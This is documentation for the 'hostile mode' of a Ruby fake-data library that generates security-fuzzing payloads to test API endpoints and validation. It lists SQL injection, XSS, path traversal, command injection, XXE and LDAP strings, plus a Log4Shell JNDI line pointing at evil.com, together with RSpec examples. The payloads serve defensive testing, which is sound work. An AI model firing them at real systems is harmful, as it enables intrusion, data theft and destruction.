Security Fuzzing (Hostile Mode)

FakeDataDSL includes a :hostile generation mode for security testing, generating attack payloads designed to test API endpoints and validation logic.

Quick Start

# Generate hostile data
schema.generate(mode: :hostile)

# CLI
fake_data_dsl generate User --mode hostile

Attack Vectors

SQL Injection

# Generated payloads include:
"' OR '1'='1"
"'; DROP TABLE users;--"
"' UNION SELECT * FROM users--"
"1' OR '1'='1"
"admin'--"

XSS (Cross-Site Scripting)

# Generated payloads include:
"<script>alert(1)</script>"
"<img src=x onerror=alert(1)>"
"<svg onload=alert(1)>"
"javascript:alert(1)"
"<body onload=alert(1)>"

Buffer Overflow

# Generated payloads include:
"A" * 1000      # 1KB
"A" * 10000     # 10KB
"A" * 100000    # 100KB
"A" * 65536     # 64KB
"\x00" * 1000   # Null bytes

Unicode Attacks

# Generated payloads include:
"\u202E" + "evil" + "\u202D"  # RTL override
"\uFEFF" + "text"              # BOM
"\u200B" * 100                 # Zero-width spaces
"Zalgo: H\u0301\u0302..."     # Zalgo text

Path Traversal

# Generated payloads include:
"../../../etc/passwd"
"..\\..\\..\\windows\\system32\\config\\sam"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Command Injection

# Generated payloads include:
"; ls -la"
"| cat /etc/passwd"
"&& whoami"
"`id`"
"$(whoami)"

LDAP Injection

# Generated payloads include:
"*)(uid=*))(|(uid=*"
"*))%00"
"*()|&"

XXE Injection

# Generated payloads include:
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xee SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>'

Log4Shell

# Generated payloads include:
"${jndi:ldap://evil.com/a}"

Usage Examples

API Endpoint Testing

# Test API endpoint with hostile inputs
schema = FakeDataDSL.load("schemas/user.dsl")
hostile_data = schema.generate_many(1000, mode: :hostile)

hostile_data.each do |payload|
  response = post("/api/users", payload)

  # Should reject hostile input
  expect(response.status).to eq(400)
  expect(response.body).not_to include("error")
end

Validation Testing

# Test that validation rejects hostile input
verify_property("User", count: 500, mode: :hostile) do |user_data|
  user = User.new(user_data)
  expect(user).not_to be_valid
end

SQL Injection Testing

# Test SQL injection protection
hostile_users = schema.generate_many(100, mode: :hostile)

hostile_users.each do |user|
  # Should escape SQL properly
  User.create(user)
  expect(User.count).to eq(1) # Only one user, not injected
end

XSS Testing

# Test XSS protection
hostile_data = schema.generate(mode: :hostile)

# Should escape HTML
rendered = (hostile_data)
expect(rendered).not_to include("<script>")
expect(rendered).to include("&lt;script&gt;") # Escaped

Integration with Property Testing

include FakeDataDSL::PropertyTesting

RSpec.describe "User API Security" do
  it "rejects hostile input" do
    verify_property("User", count: 1000, mode: :hostile) do |user_data|
      response = post("/api/users", user_data)
      expect(response.status).to eq(400)
    end
  end
end

Custom Hostile Payloads

You can extend hostile payloads by registering custom types:

FakeDataDSL.register_type(:custom_attack) do |rng, context, args, mode|
  if mode == :hostile
    rng.sample([
      "custom_attack_1",
      "custom_attack_2"
    ])
  else
    "normal_value"
  end
end

Best Practices

1. Use in Test Environment Only

# Only enable hostile mode in test environment
if Rails.env.test?
  schema.generate(mode: :hostile)
end

2. Test Validation Logic

# Ensure validation rejects hostile input
hostile_data = schema.generate(mode: :hostile)
user = User.new(hostile_data)
expect(user).not_to be_valid

3. Test API Endpoints

# Test that APIs properly sanitize input
hostile_data = schema.generate_many(100, mode: :hostile)
hostile_data.each do |payload|
  response = post("/api/users", payload)
  expect(response.status).to eq(400)
end

4. Combine with Other Modes

# Test with mixed mode (includes hostile)
schema.generate(mode: :mixed)
# 80% random, 15% edge, 5% invalid (hostile included)

Payload Library

All hostile payloads are defined in FakeDataDSL::HostilePayloads:

FakeDataDSL::HostilePayloads::SQL_INJECTION
FakeDataDSL::HostilePayloads::XSS
FakeDataDSL::HostilePayloads::BUFFER_OVERFLOW
FakeDataDSL::HostilePayloads::UNICODE_ATTACKS
FakeDataDSL::HostilePayloads::PATH_TRAVERSAL
FakeDataDSL::HostilePayloads::COMMAND_INJECTION
FakeDataDSL::HostilePayloads::LDAP_INJECTION
FakeDataDSL::HostilePayloads::XXE_INJECTION
FakeDataDSL::HostilePayloads::ALL  # All payloads combined

Type-Specific Hostile Generation

Some types have specialized hostile generation:

Text Type

# Text fields generate random hostile payloads
schema = FakeDataDSL.parse("User:\n  name: text")
result = schema.generate(mode: :hostile)
# result["name"] may contain SQL injection, XSS, etc.

UUID Type

# UUID fields generate malformed UUIDs
schema = FakeDataDSL.parse("User:\n  id: uuid")
result = schema.generate(mode: :hostile)
# result["id"] may contain:
# - "' OR '1'='1" (SQL injection attempt)
# - "../../../etc/passwd" (Path traversal)
# - "<script>alert('xss')</script>" (XSS)
# - Malformed UUIDs

CLI Usage

# Generate hostile data
fake_data_dsl generate User --mode hostile

# Generate multiple hostile records
fake_data_dsl generate User --mode hostile --count 1000

# Export hostile data for testing
fake_data_dsl export User -f json -c 1000 --mode hostile -o hostile_test_data.json

REPL Usage

fake_data_dsl repl

> mode hostile
✅ Mode set to hostile

> gen User
{
  "id": "' OR '1'='1",
  "name": "<script>alert(1)</script>",
  "email": "'; DROP TABLE users;--"
}

> table User
  ────────────────────┼───────────────────────────────
  id                  │ "' OR '1'='1"
  name                │ "<script>alert(1)</script>"
  email               │ "'; DROP TABLE users;--"

Security Considerations

⚠️ Warning: Hostile mode generates actual attack payloads. Use only in:

  • Test environments
  • Isolated systems
  • Security testing scenarios

Never use hostile mode in production or with real databases.

See Also